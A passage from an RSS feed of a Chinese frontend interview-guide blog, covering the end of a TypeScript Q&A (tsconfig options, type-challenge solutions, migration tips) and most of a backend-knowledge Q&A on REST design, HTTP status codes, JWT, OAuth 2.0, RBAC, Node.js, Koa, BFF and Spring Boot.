    &quot;noImplicitAny&quot;: true,        // 禁止隐式 any
    &quot;strictNullChecks&quot;: true,     // null/undefined 必须显式处理
    &quot;strictFunctionTypes&quot;: true,  // 函数参数逆变检查

    // 模块与目标
    &quot;target&quot;: &quot;ES2020&quot;,           // 编译产物的 JS 版本
    &quot;module&quot;: &quot;ESNext&quot;,           // 模块系统
    &quot;moduleResolution&quot;: &quot;bundler&quot;,// Vite/webpack 项目推荐

    // 互操作
    &quot;esModuleInterop&quot;: true,      // 允许 import x from &apos;cjs-module&apos;
    &quot;allowSyntheticDefaultImports&quot;: true,
    &quot;resolveJsonModule&quot;: true,    // 允许 import json

    // 路径别名（与 Vite resolve.alias 保持一致）
    &quot;baseUrl&quot;: &quot;.&quot;,
    &quot;paths&quot;: { &quot;@/*&quot;: [&quot;src/*&quot;] },

    // 产物
    &quot;sourceMap&quot;: true,
    &quot;declaration&quot;: true,          // 生成 .d.ts（发 npm 包必须）
    &quot;skipLibCheck&quot;: true          // 跳过 node_modules 类型检查（提速）
  },
  &quot;include&quot;: [&quot;src/**/*&quot;],
  &quot;exclude&quot;: [&quot;node_modules&quot;, &quot;dist&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;类型体操常见题&lt;/h2&gt;
&lt;h3&gt;Q17: 手写常见类型体操题？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. 元组转联合
type TupleToUnion&amp;lt;T extends any[]&amp;gt; = T[number];
type U = TupleToUnion&amp;lt;[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]&amp;gt;;  // &apos;a&apos; | &apos;b&apos; | &apos;c&apos;

// 2. 联合转交叉（高频难题）
type UnionToIntersection&amp;lt;T&amp;gt; =
  (T extends any ? (arg: T) =&amp;gt; void : never) extends
  (arg: infer I) =&amp;gt; void ? I : never;
// 原理：联合分发成多个函数类型，再利用函数参数逆变推断出交叉
type I = UnionToIntersection&amp;lt;{ a: 1 } | { b: 2 }&amp;gt;;  // { a: 1 } &amp;amp; { b: 2 }

// 3. 字符串模板解析（CamelCase → KebabCase）
type CamelToKebab&amp;lt;S extends string&amp;gt; =
  S extends `${infer H}${infer T}`
    ? H extends Uppercase&amp;lt;H&amp;gt;
      ? `${H extends Lowercase&amp;lt;H&amp;gt; ? &apos;&apos; : &apos;-&apos;}${Lowercase&amp;lt;H&amp;gt;}${CamelToKebab&amp;lt;T&amp;gt;}`
      : `${H}${CamelToKebab&amp;lt;T&amp;gt;}`
    : S;
type K = CamelToKebab&amp;lt;&apos;helloWorldFoo&apos;&amp;gt;;  // &apos;hello-world-foo&apos;

// 4. Awaited（TS 4.5 内置，递归解包 Promise）
type A = Awaited&amp;lt;Promise&amp;lt;Promise&amp;lt;string&amp;gt;&amp;gt;&amp;gt;;  // string

// 5. 数组转对象（元组 [keys, values] 映射）
type Zip&amp;lt;K extends string[], V extends any[]&amp;gt; =
  K extends [infer KH extends string, ...infer KR]
    ? V extends [infer VH, ...infer VR]
      ? { [P in KH]: VH } &amp;amp; Zip&amp;lt;KR, VR&amp;gt;
      : {}
    : {};

// 6. DeepReadonly（递归只读）
type DeepReadonly&amp;lt;T&amp;gt; = {
  readonly [K in keyof T]: T[K] extends object ? DeepReadonly&amp;lt;T[K]&amp;gt; : T[K];
};

// 7. DeepPartial（递归可选）
type DeepPartial&amp;lt;T&amp;gt; = {
  [K in keyof T]?: T[K] extends object ? DeepPartial&amp;lt;T[K]&amp;gt; : T[K];
};

// 学习建议：type-challenges 仓库刷 easy 全部 + medium 前 30 题，
// 面试手写基本覆盖（联合转交叉、DeepReadonly、字符串模板是重点）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q18: 项目中如何做 TS 渐进式迁移（JS → TS）？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;大型 JS 项目迁移 TS 的务实策略：

1. 先搭架子：allowJs: true，让 .js/.ts 共存
2. 从底向上：类型声明（api/types）→ 工具函数 → 组件 → 页面
3. 分级严格：先关 strict，跑通构建，再逐目录开启
4. 双工具链：Vite 用 esbuild 转译（不检查），
   CI 加 tsc --noEmit 兜底全量检查
5. 存量代码：@ts-expect-error + TODO 注释标记，
   禁止新增 @ts-ignore（它会永久吞掉错误）
6. 第三方无类型包：先 declare module 兜底，
   再逐步补全或换有类型的替代包

关键指标：any 占比。用 eslint 规则
@typescript-eslint/no-explicit-any 设为 warn 统计，
新代码 error、旧代码 warn，逐步收敛。
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;interface vs type&lt;/strong&gt;：声明合并 vs 联合/元组/映射&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;any vs unknown vs never&lt;/strong&gt;：不安全 / 安全收窄 / 穷尽检查&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类型收窄七法&lt;/strong&gt;：typeof、instanceof、in、判别联合、is 守卫、asserts、真值&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分布式条件类型&lt;/strong&gt;：联合类型逐个计算，&lt;code&gt;[T] extends [U]&lt;/code&gt; 可关闭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;infer&lt;/strong&gt;：类型层面的解构，ReturnType/UnwrapPromise 核心&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;keyof + 泛型约束&lt;/strong&gt;：&lt;code&gt;&amp;lt;T, K extends keyof T&amp;gt;&lt;/code&gt; 类型安全取属性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内置工具类型手写&lt;/strong&gt;：Partial/Pick/Omit/Exclude/Record 必须秒写&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;as const vs satisfies&lt;/strong&gt;：收窄字面量 vs 校验不丢精度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协变逆变&lt;/strong&gt;：返回值协变、参数逆变（strictFunctionTypes）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;编译流程&lt;/strong&gt;：tsc 检查+发射；Vite 只转译；类型运行时擦除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高频体操题&lt;/strong&gt;：UnionToIntersection、DeepReadonly、CamelToKebab&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渐进迁移&lt;/strong&gt;：allowJs 共存 → 自底向上 → any 占比收敛&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-13-performance/&quot;&gt;性能优化面试题&lt;/a&gt; 涵盖核心指标（LCP/INP/CLS）、加载性能、渲染性能、内存泄漏排查、优化实战案例。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>后端知识面试题（前端工程师需要了解的部分）</title><link>http://117.72.32.87/blog/posts/interview-guide-11-backend/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-11-backend/</guid><description>讲解 RESTful API 设计、Node.js 核心、Java 基础、微服务架构、认证鉴权等中高级前端工程师需要了解的后端知识。</description><pubDate>Wed, 16 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道后端知识面试题，面向中高级前端工程师（全栈方向加分项），难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;RESTful API 设计&lt;/h2&gt;
&lt;h3&gt;Q1: 什么是 RESTful API？设计原则？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;REST（Representational State Transfer）是一种 API 设计风格，核心思想是&lt;strong&gt;用 URL 表示资源，用 HTTP 方法表示操作&lt;/strong&gt;。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;原则&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;资源导向&lt;/td&gt;
&lt;td&gt;URL 是名词（资源），不是动词&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP 方法语义化&lt;/td&gt;
&lt;td&gt;GET 查、POST 增、PUT/PATCH 改、DELETE 删&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无状态&lt;/td&gt;
&lt;td&gt;每个请求携带全部信息（如 Token）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;统一接口&lt;/td&gt;
&lt;td&gt;一致的 URL 风格和响应格式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;合理使用状态码&lt;/td&gt;
&lt;td&gt;用 HTTP 状态码表达结果&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;❌ 不好的设计：
GET  /api/getUserList
POST /api/deleteUser?id=1
GET  /api/user/query?id=1

✅ RESTful 设计：
GET    /api/users          # 获取用户列表
GET    /api/users/1        # 获取单个用户
POST   /api/users          # 创建用户
PUT    /api/users/1        # 全量更新用户
PATCH  /api/users/1        # 部分更新用户
DELETE /api/users/1        # 删除用户
GET    /api/users/1/orders # 获取用户的订单（嵌套资源）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;统一响应格式：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;code&quot;: 200,
  &quot;message&quot;: &quot;success&quot;,
  &quot;data&quot;: {
    &quot;id&quot;: 1,
    &quot;name&quot;: &quot;Tom&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;分页、过滤、排序（查询参数）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /api/users?page=1&amp;amp;pageSize=10        # 分页
GET /api/users?status=active             # 过滤
GET /api/users?sort=-createdAt,name      # 排序（- 表示降序）
GET /api/users?fields=id,name,email      # 字段筛选
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: PUT 和 PATCH 的区别？⭐&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;语义&lt;/th&gt;
&lt;th&gt;幂等&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PUT&lt;/td&gt;
&lt;td&gt;全量更新（替换整个资源）&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;传完整对象，未传的字段可能被置空&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PATCH&lt;/td&gt;
&lt;td&gt;部分更新（只改传入字段）&lt;/td&gt;
&lt;td&gt;❌（理论）&lt;/td&gt;
&lt;td&gt;只传要修改的字段&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// PUT /users/1  —— 全量替换
{ &quot;name&quot;: &quot;Tom&quot;, &quot;age&quot;: 20, &quot;email&quot;: &quot;tom@x.com&quot; }

// PATCH /users/1  —— 只更新 name
{ &quot;name&quot;: &quot;Tom&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 常见 HTTP 状态码如何正确返回？⭐⭐&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;状态码&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;查询/创建/更新成功&lt;/td&gt;
&lt;td&gt;200 / 201（Created）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;删除成功（无返回体）&lt;/td&gt;
&lt;td&gt;204 No Content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;参数校验失败&lt;/td&gt;
&lt;td&gt;400 Bad Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;未登录/Token 失效&lt;/td&gt;
&lt;td&gt;401 Unauthorized&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;已登录但无权限&lt;/td&gt;
&lt;td&gt;403 Forbidden&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;资源不存在&lt;/td&gt;
&lt;td&gt;404 Not Found&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;方法不允许&lt;/td&gt;
&lt;td&gt;405 Method Not Allowed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;请求冲突（重复创建）&lt;/td&gt;
&lt;td&gt;409 Conflict&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;请求过于频繁&lt;/td&gt;
&lt;td&gt;429 Too Many Requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;服务端异常&lt;/td&gt;
&lt;td&gt;500 Internal Server Error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;网关错误（后端挂了）&lt;/td&gt;
&lt;td&gt;502 / 504&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 401 vs 403 是高频追问点
// 401：你是谁？（未认证）→ 前端应跳转登录页
// 403：我知道你是谁，但你不能这么做（未授权）→ 前端应提示无权限

// axios 拦截器典型处理
axios.interceptors.response.use(
  res =&amp;gt; res,
  err =&amp;gt; {
    const status = err.response?.status;
    if (status === 401) {
      // token 过期，清除登录态并跳转
      clearAuth();
      router.push(&apos;/login&apos;);
    } else if (status === 403) {
      message.error(&apos;无权限访问&apos;);
    }
    return Promise.reject(err);
  }
);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;认证与鉴权&lt;/h2&gt;
&lt;h3&gt;Q4: Cookie/Session 与 Token(JWT) 认证的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;Cookie + Session&lt;/th&gt;
&lt;th&gt;JWT Token&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;状态&lt;/td&gt;
&lt;td&gt;有状态（服务端存 Session）&lt;/td&gt;
&lt;td&gt;无状态（服务端不存）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;存储位置&lt;/td&gt;
&lt;td&gt;服务端内存/Redis + 浏览器 Cookie&lt;/td&gt;
&lt;td&gt;客户端（localStorage / Cookie）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跨域&lt;/td&gt;
&lt;td&gt;受同源策略限制（需 SameSite 配置）&lt;/td&gt;
&lt;td&gt;灵活（放 Header 即可）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;水平扩展&lt;/td&gt;
&lt;td&gt;需 Session 共享（Redis/Sticky）&lt;/td&gt;
&lt;td&gt;天然支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;注销/失效&lt;/td&gt;
&lt;td&gt;删除 Session 即失效&lt;/td&gt;
&lt;td&gt;难（需黑名单机制）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;移动端支持&lt;/td&gt;
&lt;td&gt;弱&lt;/td&gt;
&lt;td&gt;强&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全风险&lt;/td&gt;
&lt;td&gt;CSRF&lt;/td&gt;
&lt;td&gt;XSS（Token 被盗）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;JWT 结构与原理：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JWT = Header.Payload.Signature

Header:    { &quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot; }        → Base64URL 编码
Payload:   { &quot;userId&quot;: 1, &quot;exp&quot;: 1735689600 }      → Base64URL 编码
Signature: HMACSHA256(header + &quot;.&quot; + payload, 密钥)

验证流程：
1. 服务端用密钥重新计算签名
2. 与 Token 中的签名比对 → 防篡改
3. 检查 exp 是否过期

注意：Payload 只是 Base64 编码，不是加密！
不要放密码等敏感信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 前端典型用法
// 登录后存储 token
localStorage.setItem(&apos;token&apos;, res.data.token);

// 请求时携带
axios.interceptors.request.use(config =&amp;gt; {
  const token = localStorage.getItem(&apos;token&apos;);
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: 什么是 OAuth 2.0？常见授权模式？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;OAuth 2.0 角色：
- Resource Owner：用户
- Client：第三方应用
- Authorization Server：授权服务器
- Resource Server：资源服务器

四种授权模式：
┌──────────────────┬────────────────────────────────┐
│ 授权码模式        │ 最常用最安全（网站第三方登录）  │
│ (Authorization   │ 流程：跳转授权页 → 用户同意 →   │
│  Code)           │ 回调返回 code → 用 code 换 token│
├──────────────────┼────────────────────────────────┤
│ 简化模式          │ 已废弃（token 暴露在 URL）      │
│ (Implicit)       │                                │
├──────────────────┼────────────────────────────────┤
│ 密码模式          │ 高度信任的第一方应用            │
│ (Password)       │ 直接传用户名密码换 token        │
├──────────────────┼────────────────────────────────┤
│ 客户端模式        │ 服务间调用（无用户参与）        │
│ (Client          │                                │
│  Credentials)    │                                │
└──────────────────┴────────────────────────────────┘

授权码模式为什么安全？
- code 通过前端信道（浏览器重定向）传递，一次性且短时效
- token 通过后端信道（服务器间通信）换取，不暴露给浏览器
- 配合 PKCE 可防授权码拦截攻击
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q6: RBAC 权限模型？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RBAC（Role-Based Access Control）基于角色的访问控制：

用户 ←→ 角色 ←→ 权限

用户不直接拥有权限，而是通过角色间接获得。
一个用户可有多个角色，一个角色可有多个权限。

表设计：
sys_user（用户表）
sys_role（角色表）
sys_menu/permission（权限表）
sys_user_role（用户-角色关联表）
sys_role_menu（角色-权限关联表）

前端配合：
1. 登录后获取用户角色和权限标识列表
2. 路由守卫：根据权限动态生成可访问路由
3. 按钮级权限：v-permission 指令控制显示
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Node.js&lt;/h2&gt;
&lt;h3&gt;Q7: Node.js 的事件循环与浏览器有何区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Node.js 事件循环（libuv）分阶段：

   ┌───────────────────────────┐
┌─&amp;gt;│           timers          │  setTimeout/setInterval
│  ├───────────────────────────┤
│  │     pending callbacks     │  系统级回调（如 TCP 错误）
│  ├───────────────────────────┤
│  │       idle, prepare       │  内部使用
│  ├───────────────────────────┤
│  │           poll            │  I/O 回调（文件、网络）
│  ├───────────────────────────┤
│  │           check           │  setImmediate
│  ├───────────────────────────┤
│  │      close callbacks      │  socket.on(&apos;close&apos;)
│  └───────────────────────────┘

与浏览器的差异：
1. 浏览器：微任务队列在每次宏任务后清空
2. Node 11 前：微任务在每【阶段】结束后清空
   Node 11+：与浏览器对齐，每个宏任务后清空微任务
3. Node 独有：setImmediate（check 阶段）vs setTimeout（timers 阶段）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Node.js 经典输出题
setTimeout(() =&amp;gt; console.log(&apos;timeout&apos;), 0);
setImmediate(() =&amp;gt; console.log(&apos;immediate&apos;));
// 输出顺序不确定（主模块中），但在 I/O 回调中 immediate 总是先执行

// process.nextTick 优先级高于 Promise.then
Promise.resolve().then(() =&amp;gt; console.log(&apos;promise&apos;));
process.nextTick(() =&amp;gt; console.log(&apos;nextTick&apos;));
// 输出：nextTick → promise
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q8: Node.js 如何处理 CPU 密集型任务？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Node.js 单线程，CPU 密集任务会阻塞事件循环
// 解决方案：

// 1. Worker Threads（官方推荐，Node 12+）
const { Worker } = require(&apos;worker_threads&apos;);
const worker = new Worker(&apos;./heavy-task.js&apos;);
worker.postMessage({ data });
worker.on(&apos;message&apos;, result =&amp;gt; console.log(result));

// 2. Child Process（fork 子进程）
const { fork } = require(&apos;child_process&apos;);
const child = fork(&apos;./heavy-task.js&apos;);
child.send({ data });
child.on(&apos;message&apos;, result =&amp;gt; console.log(result));

// 3. Cluster（多进程负载均衡，利用多核 CPU）
const cluster = require(&apos;cluster&apos;);
const os = require(&apos;os&apos;);
if (cluster.isPrimary) {
  for (let i = 0; i &amp;lt; os.cpus().length; i++) cluster.fork();
} else {
  require(&apos;./server.js&apos;);  // 每个子进程运行服务
}

// 4. 任务拆分 + setImmediate（让出事件循环）
function processChunk(data, index) {
  if (index &amp;gt;= data.length) return;
  processItem(data[index]);           // 处理一小块
  setImmediate(() =&amp;gt; processChunk(data, index + 1));  // 让出控制权
}

// 5. 使用 C++ 扩展 / WASM（如 sharp 图片处理）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: Express 和 Koa 的区别？⭐⭐&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;Express&lt;/th&gt;
&lt;th&gt;Koa&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;中间件模型&lt;/td&gt;
&lt;td&gt;线性（callback）&lt;/td&gt;
&lt;td&gt;洋葱模型（async/await）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;错误处理&lt;/td&gt;
&lt;td&gt;错误处理中间件&lt;/td&gt;
&lt;td&gt;try/catch 捕获所有下游错误&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内置功能&lt;/td&gt;
&lt;td&gt;多（路由、静态文件等）&lt;/td&gt;
&lt;td&gt;极简（只有核心）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;异步处理&lt;/td&gt;
&lt;td&gt;callback，易嵌套&lt;/td&gt;
&lt;td&gt;原生 async/await&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;体积&lt;/td&gt;
&lt;td&gt;较大&lt;/td&gt;
&lt;td&gt;轻量&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Koa 洋葱模型：请求进入时顺序执行，响应返回时逆序执行
app.use(async (ctx, next) =&amp;gt; {
  console.log(&apos;1 进入&apos;);
  await next();       // 执行下游中间件
  console.log(&apos;4 返回&apos;);
});
app.use(async (ctx, next) =&amp;gt; {
  console.log(&apos;2 进入&apos;);
  await next();
  console.log(&apos;3 返回&apos;);
});
// 输出：1进入 → 2进入 → 3返回 → 4返回
// 应用场景：日志统计耗时、事务回滚、响应统一包装
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: BFF（Backend For Frontend）是什么？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;传统模式：
前端 → 后端微服务A、B、C（前端需调多个接口，聚合数据）

BFF 模式：
前端 → BFF 层（Node.js）→ 微服务A、B、C

BFF 的价值（前端主导的服务层）：
1. 接口聚合：多个微服务数据合并成一个接口
2. 数据裁剪：只返回前端需要的字段，减小体积
3. 适配多端：为 Web/App/小程序提供不同数据结构
4. 缓冲层：后端接口变更时，BFF 层消化差异
5. SSR：Node.js 天然适合服务端渲染

常见技术选型：NestJS / Egg.js / Express + GraphQL
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Java 基础（前端需要了解的部分）&lt;/h2&gt;
&lt;h3&gt;Q11: 为什么前端要了解 Java 基础？常见概念映射？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;中大型公司后端以 Java 为主，前端了解后端技术有助于&lt;strong&gt;接口联调、问题定位、全栈发展&lt;/strong&gt;。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Java 概念&lt;/th&gt;
&lt;th&gt;前端对应概念&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Spring Boot&lt;/td&gt;
&lt;td&gt;NestJS / Express&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maven / Gradle&lt;/td&gt;
&lt;td&gt;npm / pnpm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pom.xml&lt;/td&gt;
&lt;td&gt;package.json&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Controller&lt;/td&gt;
&lt;td&gt;路由处理器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DTO / VO / Entity&lt;/td&gt;
&lt;td&gt;TypeScript interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;注解 @Annotation&lt;/td&gt;
&lt;td&gt;装饰器 @Decorator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MyBatis / JPA&lt;/td&gt;
&lt;td&gt;ORM（Prisma / TypeORM）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tomcat&lt;/td&gt;
&lt;td&gt;Node HTTP Server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JVM 堆内存&lt;/td&gt;
&lt;td&gt;V8 堆内存（都有 GC）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q12: Spring Boot 的注解你见过哪些？分别什么作用？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;@RestController          // = @Controller + @ResponseBody，返回 JSON
@RequestMapping(&quot;/users&quot;)  // 路由前缀（类似 Express Router）
@GetMapping(&quot;/{id}&quot;)     // GET 请求，@PathVariable 取路径参数
@PostMapping             // POST 请求
@RequestParam            // 查询参数 ?name=xxx（类似 req.query）
@RequestBody             // 请求体 JSON 自动反序列化（类似 req.body）
@Service                 // 业务逻辑层
@Repository / @Mapper    // 数据访问层（DAO）
@Autowired               // 依赖注入（类似 NestJS 构造函数注入）
@Transactional           // 声明式事务（类似 TypeORM 事务）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 典型分层结构（与 NestJS 完全对应）
@RestController
@RequestMapping(&quot;/users&quot;)
public class UserController {
    @Autowired
    private UserService userService;   // Service 层

    @GetMapping(&quot;/{id}&quot;)
    public Result&amp;lt;UserVO&amp;gt; getById(@PathVariable Long id) {
        return Result.success(userService.getById(id));
    }
}

// Controller（接收请求）→ Service（业务逻辑）→ Mapper（数据库操作）
// 前端联调报错时看哪一层：
// 400：Controller 参数校验失败
// 500：Service/Mapper 抛异常，看后端日志的堆栈
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q13: 后端接口的参数校验，前端应该如何配合？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Java 常见校验注解（JSR-380 / Hibernate Validator）
@NotNull      // 非空（对象）
@NotBlank     // 非空字符串
@Size(min=1, max=20)   // 长度
@Min(0) @Max(100)      // 数值范围
@Email        // 邮箱格式
@Pattern(regexp=&quot;^1[3-9]\\d{9}$&quot;)  // 手机号正则
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 前端应做同样的校验（提升体验），但不能替代后端校验（安全）
// 规则保持一致，避免&quot;前端通过、后端 400&quot;的联调问题
const rules = {
  username: [
    { required: true, message: &apos;用户名不能为空&apos; },
    { min: 2, max: 20, message: &apos;长度 2-20 个字符&apos; },
  ],
  email: [{ type: &apos;email&apos;, message: &apos;邮箱格式不正确&apos; }],
};
// 收到 400 时，优先展示后端 message（后端规则更权威）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;微服务与架构&lt;/h2&gt;
